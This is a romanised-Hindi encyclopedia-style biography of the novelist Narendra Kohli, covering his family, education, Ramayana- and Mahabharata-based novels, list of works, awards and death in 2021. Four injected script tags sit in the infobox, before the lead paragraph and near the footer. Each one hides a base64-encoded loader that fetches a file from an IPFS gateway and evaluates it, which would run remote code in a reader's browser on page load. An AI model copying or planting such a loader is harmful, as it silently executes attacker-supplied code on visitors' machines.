नरेन्द्र कोहली

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
narendr kohali
poora nam d aau. narendr kohali
janm 6 janavari, 1940
janm bhoomi siyalakot, bharat (ab pakistan mean)
mrityu 17 aprॅl, 2021
mrityu sthan dilli
abhibhavak paramanand kohali aur vidyavanti
pati/patni d aau. madhurima kohali
santan kartikey evan agasty
karm bhoomi dilli
karm-kshetr adhyapak, upanyasakar, kahanikar, natakakar, vyangyakar tatha nibandhakar
mukhy rachanaean 1. upanyas : kshama karana jiji, punararambh, atank, sath saha gaya duahkh, priti-katha, jangal ki kahani, abhduday, abhijnan, mahasamar, to do kara to do, atmandan, mera apana sansar;
2. vyangy : atma ki pavitrata, ek aur lal tikon, paanch aibsard upanyas, jagane ka aparadh, ashritoan ka vidroh, adhunik l daki ki pi da, trasadiyaan, pareshaniyaan;
3. kahani : parinati, kahani ka abhav, drishtidesh mean ekaek, namak ka qaidi, nichale flait mean, sanchit bhookh, shatal;
4. natak : shambook ki hatya, hatyare, nirnay ruka hua, gare ki divar;
5. any : nepathy, baba nagarjun, mazara kya hai?, jahaan hai dharm vahian hai jaya.
bhasha hindi
vidyalay dilli vishvavidyalay
shiksha em.e., pi.ech.di
puraskar-upadhi rajy sahity puraskar 1975-76, uttar pradesh hiandi sansthan puraskar 1977-78, sahity samman, shalaka samman, sahity bhooshan, pandit dinadayal upadhyay samman, vyas samman (2012) adi
nagarikata bharatiy
any janakari hindi sahity mean 'mahakavyatmak upanyas' ki vidha ko praranbh karane ka shrey nareandr kohali ko hi jata hai.
bahari k diyaan narendr kohali
adyatan‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
inhean bhi dekhean kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>narendr kohali (aangrezi: Narendra Kohli, janm- 6 janavari, 1940, siyalakot; mrityu- 17 aprॅl, 2021, dilli) hindi ke upanyasakar, kahanikar, natakakar evan vyangyakar the. narendr kohali ne sahity ki sabhi pramukh vidhaoan (yatha upanyas, vyangy, natak, kahani) evan gaun vidhaoan (yatha sansmaran, nibandh, patr adi) aur alochanatmak sahity mean apani lekhani chalaee. hindi sahity mean 'mahakavyatmak upanyas' ki vidha ko praranbh karane ka shrey nareandr kohali ko hi jata hai. pauranik evan aitihasik charitroan ki gutthiyoan ko sulajhate hue unake madhyam se adhunik samaj ki samasyaoan evan unake samadhan ko samaj ke samaksh prastut karana kohali ki anyatam visheshata thi.

jivan parichay

narendr kohali ka janm 6 janavari, 1940 ee. ko siyalakot (avibhajit panjab) mean janm hua. ab yah nagar ab pakistan mean hai. inaki mata vidyavanti ka janm ek chhote gaanv ke sadharan krishak parivar mean hua tha. l dakiyoan ki shiksha ki vyavastha evan paranpara n hone ke karan ve nirakshar hi rahian. 1992 ee. mean dilli mean anumanat: 80-82 varsh ki avastha mean unaka dehaant hua. inake pita, paramanand kohali, siyalakot ke madhyam vargiy naukari pesha parivar mean 1903 ee. mean janme the. aankhoan ke rog ke karan athavian kaksha mean hi skool se utha lie ge. padhane aur likhane ka shauk hote hue bhi, age padh nahian sake. urdoo mean likhe apane tin char upanyasoan ki paandulipiyaan apane lekhak putr ke lie uth‍taradhikar svaroop chho d ge. avibhajit panjab ke van vibhag mean asthaee klark ke pad par kam karate rahe. desh ke vibhajan ke pashchath pooanji, digri tatha any kisi kaushal ke abhav ke karan jamashedapur mean patari par baith kar phal bechane ko badhy hue. bad mean ek chhoti si dukan ki. 1985 ee. mean 82 varsh ki avastha mean unaka dehaant hua.

shiksha

narendr kohali ki shiksha ka aranbh paanch-chhah varsh ki avastha mean devasamaj haee skool, lahaur mean hua. usake pashchath kuchh mahine syalakot ke gandasianh haee skool mean bhi shiksha paee. 1947 ee. mean bharat ke vibhajan ke pashchath parivar jamashedapur, bihar (ab jharakhand mean) chala aya. yahaan tisari kaksha se padhaee aranbh huee, dhatakidih loar praimari skool mean. chauthi se satavian kaksha (1949- 53 ee.) tak ki shiksha, nyoo midil ianglish skool mean huee. athavian se gyarahavian kaksha (1953-57 ee.) ki padhaee misiz ke. em. pi. em. haee skool, jamashedapur mean huee. haee skool mean vijnan sanbandhi vishayoan ka adhyayan kiya. ab tak ki sari shiksha ka madhyam urdoo bhasha hi thi. uchch shiksha ke lie jamashedapur ko-aauparetiv k aaulej mean pravesh kiya. vishay the, anivary aangrezi tatha anivary hindi ke sath manovijnan, tarkashastr aur vishisht hiandi. aee.e. (1959 ee.) ki pariksha bihar vishvavidyalay se di. bi. e. mean anivary aangrezi ke sath darshanashastr aur hindi sahity (aaunars) ka chunav kiya. 1961 ee. mean jamashedapur ko-aauparetiv k aaulej (raanchi vishvavidyalay) se bi. e. aaunars (hiandi) kar em. e. ki shiksha ke lie dilli chale ae. 1963 ee. mean ramajas k aaulej (dilli vishvavidyalay) se hiandi sahity mean em.e. ki pariksha uth‍tirn ki. isi vishvavidyalay se 1970 ee. mean pi-ech.di. (vidya vachaspati) ki upadhi prapt ki.

vivah

narendr kohali ne 1965 ee. mean d aau. madhurima kohali se vivah kiya. madhurima dilli vishvavidyalay se hiandi sahity mean em. e.; pi-ech.di. haian. ve dilli ke kamala neharoo k aaulej ke hiandi vibhag se 1964 ee. se sanbaddh haian. disanbar, 1967 ee. mean ju davaan santan putr karttikey aur putri surabhi ka janm hua. surabhi keval chaubis dinoan ki ayu lekar aee thi. karttikey ab dilli vishvavidyalay se arthashastr mean em.e.; em.philh; pi-ech.di. kar ramalal anand (saandhy) k aaulej, dilli mean arthashastr padha rahe haian. chhote putr agasty ka janm 1975 ee. mean hua. ve dilli ke saradar patel vidyalay se uchchatar madhyamik shiksha prapt kar ilin aauy ianstityoot aauph taikn aaul aauji, shikago mean yaantriki ki shiksha ke lie chale ge. ab siyaital (sanyukt rajy amarika) mean telikanyoonikeshan sish‍tamh‍s mean netavark abhiyanta ke roop mean karyarat haian.

adhyapan

narendr kohali ne apani pahali naukari dilli ke pi.ji.di.e.vi. (saandhy) k aaulej mean hiandi ke adhyapak (1963-65ee.) ke roop mean ki. doosari naukari dilli ke motilal neharoo k aaulej mean 1965 ee. mean aranbh ki aur 1 navanbar 1995 ee. ko pachapan varsh ki avastha mean svaichchhik avakash lekar naukariyoan ka silasila samapt kar diya.

pratham prakashit rachana

narendr kohali ko likhane aur chhapane ki ichchha bachapan se hi thi. chhathi mean kaksha ki hastalikhit patrika mean pahali rachana prakashit huee. athavian kaksha mean skool ki mudrit patrika mean ek kahani 'hiandostaan : jannat nishaan' urdoo mean prakashit huee. haee skool ke hi dinoan mean hiandi mean likhana aranbh hua. 'kishor' (patana), 'avaz' (dhanabad) ityadi mean kuchh aranbhik rachanaean, bal lekhak ke roop mean prakashit hueean. aee.e. ki padhaee ke dinoan mean ek kahani 'pani ka jag, gilas aur ketali', 'sarita' (dilli) ke 'ne aankur' stanbh mean prakashit huee thi. niyamit prakashan ka aranbh pharavari 1960 ee. se aranbh hua. inaki pratham prakashit rachana 'do hath' (kahani, ilahabad, faravari 1960 ee.) mani jati hai.[1]

sahityik parichay

narendr kohali upanyasakar, kahanikar, natakakar tatha vyangyakar haian. ye sab hote hue bhi,ve apane samakalin sahityakaroan se paryapt bhinn haian. sahity ki samriddhi tatha samaj ki pragati mean unaka yogadan pratyaksh hai. unhoanne prakhyath kathaean likhi haian; kiantu ve sarvatha maulik haian. ve adhunik haian; kiantu pashchim ka anukaran nahian karate. bharatiyata ki j doan tak pahuanchate haian, kiantu puratanapanthi nahian haian. 1960 ee. mean narendr kohali ki kahaniyaan prakashit honi aranbh huee thian, jinamean ve sadharan parivarik chitroan aur ghatanaoan ke madhyam se samaj ki vidanbanaoan ko rekhaankit kar rahe the. 1965 ee.ke as-pas ve vyangy likhane lage the. unaki bhasha vakr ho gee thi, aur desh tatha rajaniti ki vidanbanaean samane ane lagi thian. un dinoan likhi gee apani rachanaoan mean unhoanne samajik aur rajanitik jivan ki amanaviyata, kroorata tatha tarkashoonyata ke darshan karae. hiandi ka sara vyangy sahity is bat ka sakshi hai ki apani pidhi mean unaki si prayogashilata, vividhata tatha prakharata kahian aur nahian hai. narendr kohali ne ramakatha se samagri lekar char khandoan mean 1800 prishthoan ka ek brihadakar upanyas likha. kadachith sanpoorn ramakatha ko lekar, kisi bhi bhasha mean likha gaya, yah pratham upanyas hai. upanyas hai, isalie samakalin, pragatishil, adhunik tatha tarkashrit hai. isaki adharabhoot samagri bharat ki saanskritik paranpara se li gee, isalie isamean jivan ke udath‍t moolyoan ka chitran hai, manushy ki mahanata tatha jivan ki abadhata ka pratipadan hai. hiandi ka pathak jaise chauank kar,kisi gahari nind se jag utha. vah apane sanskaroan aur bauddhikata ke dvandv se mukt hua. use apane uddand prashnoan ke uth‍tar mile, shankaoan ka samadhan hua.
narendr kohali ne ek upanyas- 'abhijnan' krishnakatha ko lekar likha. katha rajanitik hai. nirdhan aur akianchan sudama ko samarthyavan shrikrishna, sarvajanik roop se apana mitr svikar karate haian, to samajik, vyavasayik aur rajanitik kshetroan mean sudama ki sakh tatkal badh jati hai. kiantu is kriti ka merudand bhagavadgita ka 'karm siddhaant' hai. is kriti mean n paralok hai, n svarg aur narak, n janmaantaravad. 'karm siddhaant' ko isi prithvi par ek hi jivan ke aantargat, jnanendriyoan aur buddhi ke adhar par, vaijnanik siddhaantoan ke anuroop vyakhyayit kiya gaya hai. vah bhi ek saras upanyas ke ek rochak khand ke roop mean. narendr kohali ne mahabharat-katha ke adhar par, apane ne upanyas 'mahasamar' ki rachana aranbh ki. 'mahabharat' ek virat kriti hai, jo bharatiy jivan, chiantan, darshan tatha vyavahar ko moortimant roop mean prastut karati hai. narendr kohali ne is kriti ko apane yug mean poornat: jivant kar diya hai. unhoanne apane is upanyas mean jivan ko usaki sanpoorn viratata ke sath atyant maulik dhang se prastut kiya hai. jivan ke vastavik roop se sanbandhit prashnoan ka samadhan ve anubhooti aur tark ke adhar par dete haian. yudhishthir, krishna, kuanti, draupadi, balaram, arjun, bhim tatha karn adi charitroan ko atyant navin roop mean pesh kiya.

upanyas shrriankhala

narendr kohali ne ek or upanyas shrriankhala aranbh kar pathakoan ko chakit kar diya. yah hai, 'to do kara to do'. yah shirshak ravindranath thakur ke ek git ki ek pankti ka anuvad hai; kiantu upanyas ka sanbandh svami vivekanand ki jivanakatha se hai. svami ji ka jivan nikat atit ki ghatana hai. unake jivan ki sari ghatanaean sapraman itihasaankit haian. isamean upanyasakar ki apani kalpana athava chiantan ke lie koee vishesh avakash nahian hai. apane nayak ke vyaktitv aur chiantan se tadatmy hi unake lie ek matr marg hai. narendr kohali ke is saras upanyas ke pratyek prishth par, upanyasakar ke apane nayak ke sath tadatmy ko dekh kar pathak chakit rah jata hai. svami vivekanand ka jivan bandhanoan tatha simaoan ke atikraman ke lie sarthak sangharsh tha. bandhan chahe prakriti ke hoan, samaj ke hoan, rajaniti ke hoan, dharm ke hoan, adhyatm ke hoan. narendr kohali ke shabdoan mean,

"svami vivekanand ke vyaktitv ka akarshan, akarshan nahian, jadoo... jadoo jo sir chadh kar bolata hai. koee sanvedanashil vyakti unake nikat jakar, sammohit hue bina nahian rah sakata aur yuva man to utsah se pagal hi ho jata hai. kaun sa gun tha, jo svami ji mean nahian tha. manav ke charam vikas ki sakshath moorti the ve. bharat ki atma aur ve ekakar ho ge the. unhean kisi ek yug, pradesh, sanpraday athava sangathan ke sath baandh dena, ajnan bhi hai aur anyay bhi."[1]

prakashit rachanaean

narendr kohali ki prakashit rachanaean[2]
  • premachand ke sahity siddhaant (shodh-nibandh) 1966 ee.
  • kuchh prasiddh kahaniyoan ke vishay mean (samiksha)- 1967 ee.
  • parinati - (kahaniyaan)-1969/2000 ee.
  • ek aur lal tikon- (vyangy)-1970/ 2000 ee.
  • punararanbh - (upanyas)- 1972 /1994 ee.
  • atank (upanyas)- 1972 ee.
  • paanch ebsard upanyas (vyangy) - 1972 /1994 ee.
  • ashritoan ka vidroh (vyangy)- 1973 / 1991 ee.
  • jagane ka aparadh (vyangy)- 1973 ee.
  • sath saha gaya du:kh (upanyas)- 1974 ee.
  • mera apana sansar (laghu upanyas) - 1975 ee.
  • shanbook ki hatya (natak)- 1975 ee.
  • diksha (upanyas) - 1975 ee.
  • avasar (upanyas)- 1976 ee.
  • premachand (alochana)- 1976 ee.
  • jangal ki kahani (upanyas) - 1977 / 2000 ee.
  • meri shreshth vyangy rachanaean (vyangy) - 1977 ee.
  • kahani ka abhav (kahaniyaan)- 1977 / 2000 ee.
  • hiandi upanyas : srijan aur siddhaant (shodhaprabandh)- 1977 /1989 ee.
  • sangharsh ki or (upanyas)-1978 ee.
  • ganit ka prashn (bal kathaean) - 1978 ee.
  • adhunik l daki ki pi da (vyangy)-1978 / 2000 ee.
  • yuddh (do bhag), upanyas - 1979 ee.
  • drishti desh mean ekaek (kahaniyaan)- 1979/2000 ee.
  • abhijnan (upanyas)- 1981 ee.
  • shatal (kahaniyaan)- 1982/2000
  • trasadiyaan (vyangy)-1982 ee.
  • nepathy (atmaparak nibandh)-1983 ee.
  • namak ka kaidi (kahaniyaan)-1983 /2000 ee.
  • atmadan (upanyas)-1983 ee.
  • nichale phlait mean (kahaniyaan)- 1984 /2000 ee.
  • narendr kohali ki kahaniyaan (kahaniyaan)-1984 ee.
  • sanchit bhookh (kahaniyaan)- 1985/2000 ee.
  • asan rasta (bal kathaean)-1985
  • nirnay ruka hua(natak)-1985 ee.
  • hatyare(natak)- 1985 ee.
  • gare ki divar(natak)-1986 ee.
  • pritikatha(upanyas)-1986 ee.
  • pareshaniyaan (vyangy)-1986 /2000 ee.
  • baba nagarjan (sansmaran)-1987 ee.
  • mahasamar- 1 (bandhan) -upanyas - 1988 ee.
  • majara kya hai? (sarjanatmak, sansmaranatmak, vicharatmak nibandh)-1989 ee.
  • abhyuday (do bhag) - upanyas - 1989 /1998 ee.
  • mahasamar - 2, (adhikar) - upanyas - 1900 ee.
  • narendr kohali: chuni huee rachanaean (sankalan)- 1990 ee.
  • samagr natak (natak) - 1990 ee.
  • samagr vyangy (vyangy)- 1991 ee.
  • ek din mathura mean (bal upanyas) - 1991 ee.
  • samagr kahaniyaan (kahaniyaan) bhag - 1, 1991 ee. bhag - 2, 1992 ee.
  • premachand (samiksha) - 1991 ee.
  • mahasamar - 3, (karm), - upanyas - 1991 ee.
  • to do kara to do -1, (nirman) - upanyas- 1992 ee.
  • jahaan hai dharm, vahian hai jay (mahabharat ka vivechanatmak adhyayan) - 1993 ee.
  • mahasamar - 4 (dharm) - upanyas - 1993 ee.
  • to do kara to do - 2 (sadhana) - upanyas - 1993 ee.
  • mahasamar - 5 (aantaral) - upanyas - 1995 ee.
  • kshama karana jiji ! (upanyas) - 1995 ee.
  • abhi tum bachche ho (bal katha) - 1995 ee.
  • pratinad (patr sankalan) - 1996 ee.
  • atma ki pavitrata (vyangy) - 1996 ee.
  • kise jagaooan ? (saanskritik nibandh) - 1996 ee.
  • mahasamar - 6 (prachchhann) - upanyas - 1997 ee.
  • narendr kohali ne kaha (atmakathy tatha sooktiyaan) - 1997 ee.
  • meri ikyavan vyangy rachanaean (vyangy) - 1997 ee.
  • ganatantr ka ganit (vyangy) - 1997 ee.
  • kukur (bal katha) - 1997 ee.
  • samadhan (bal katha) - 1997 ee.
  • mahasamar - 7 (pratyaksh) - upanyas - 1998 ee.
  • samagr vyangy - 1 (desh ke shubhachiantak) - vyangy - 1998 ee.
  • samagr vyangy - 2 (trahi - trahi ) - vyangy - 1998 ee.
  • samagr vyangy - 3 (ishk ek shahar ka) - vyangy - 1998 ee.
  • meri terah kahaniyaan, ( kahaniyaan ) - 1998 ee.
  • sangharsh ki or ( natak ) - 1998 ee.
  • kishkiandha ( natak ) - 1998 ee.
  • agastyakatha ( natak ) - 1998 ee.
  • hatyare ( natak ) - 1999 ee.
  • mahasamar - 8 ( nibandh ) - upanyas - 2000 ee.
  • smarami ( sansmaran ) - 2000 ee.
  • samagr vyangy - 4 ( ramalubhaya kahata hai ) - vyangy - 2000 ee.
  • mere muhalle ke phool ( vyangy ) - 2000 ee.
  • samagr vyanlagyan - 5 ( vyan gy ) - 2002 ee.
  • sab se b da saty ( vyangy sangrah ) - 2003 ee. 2003
  • vah kahaan hai ( vyangy sangrah ) - 2003 ee.
  • to do kara to do - 3 ( parivrajak ) - 2003 ee.
  • to do kara to do - 4 (nirdesh) - 2004 ee.
  • n bhooto n bhavishyati - upanya(s - 2004 ee.
  • svami vivekanand - jivani - 2004 ee.
  • das pratinidhi kahaniyaan - kahaniyaan - 2006 ee.
  • kukur tatha any kahaniyaan ( bal kathaean ) - 2006

samman evan puraskar

  • rajy sahity puraskar 1975-76 ee. (sath saha gaya dukh) shiksha vibhag, uttar pradesh shasan, lakhanoo.
  • uttar pradesh hiandi sansthan puraskar 1977-78 ee. (mera apana sansar), uttar pradesh hiandi sansthan, lakhanoo.
  • ilahabad naty sangh puraskar, 1978 ee. (shanbook ki hatya), ilahabad naty sangam, ilahabad.
  • uttar pradesh hiandi sansthan puraskar, 1979-80 ee. (sangharsh ki or) uttar pradesh hiandi sansthan, lakhanoo.
  • manas sangam sahity puraskar, 1978 ee. (samagr ramakatha), manas sangam, kanapur.
  • sahity samman 1985-86 ee. (samagr sahity), hiandi akadami, dilli.
  • sahityik kriti puraskar, 1987- 88 ee. (mahasamar-1, bandhan), hiandi akadami, dilli.
  • d aau. kamil bulke puraskar 1989-90 ee. (samagr sahity), rajabhasha vibhag, bihar sarakar, patana.
  • shalaka samman 1995- 96 ee. (samagr sahity), hiandi akadami, dilli.
  • sahity bhooshan - 1998 (samagr sahity), uttar pradesh hiandi sansthan, lakhanoo.
  • pandit dinadayal upadhyay samman - 2004 ee. (samagr sahity), uttar pradesh hiandi sansthan, lakhanoo.
  • vyas samman (2012)
  • padm bhooshan (2017)

mrityu

ram katha par likhe ge apane upanyasoan se adhunik pidhi ke apane samarthakoan ke bich 'adhunik tulasidas' ke roop mean lokapriy varishth sahityakar nareandr kohali ki mrityu 17 aprॅl, 2021 ko dilli mean huee. korona sankraman ke chalate pichhale kuchh dinoan se vah ganbhir roop se bimar the. keandr sarakar ke nirdesh par unhean uchch stariy svasthy seva muhaiya karaee gee thi, jahaan unaka ilaj bhi chal raha tha. vah veantiletar par rakhe gaye the. par tamam chikitsakiy prayasoan ke bavajood aantatah unhoanne ihalok se vida le liya.

pradhanamantri nareandr modi ne suprasiddh sahityakar nareandr kohali ke nidhan par shok jatate hue unake parijanoan ke prati sanvedana jataee. unh‍hone tvit kar kaha, 'suprasiddh sahityakar nareandr kohali ji ke nidhan se atyant dukh pahuancha hai. sahity mean pauranik aur aitihasik charitroan ke jivant chitran ke lie ve hamesha yad kie jaeange. shok ki is gh di mean meri sanvedanaean unake parijanoan aur prashansakoan ke sath haian. om shaanti!


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. 1.0 1.1 d aau. narendr kohali ke vishay mean (hindi) narendr kohali ki adhikarik vebasait. abhigaman tithi: 2 faravari, 2015.
  2. d aau. narendr kohali (hindi) sahity kunj. abhigaman tithi: 2 faravari, 2015.

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah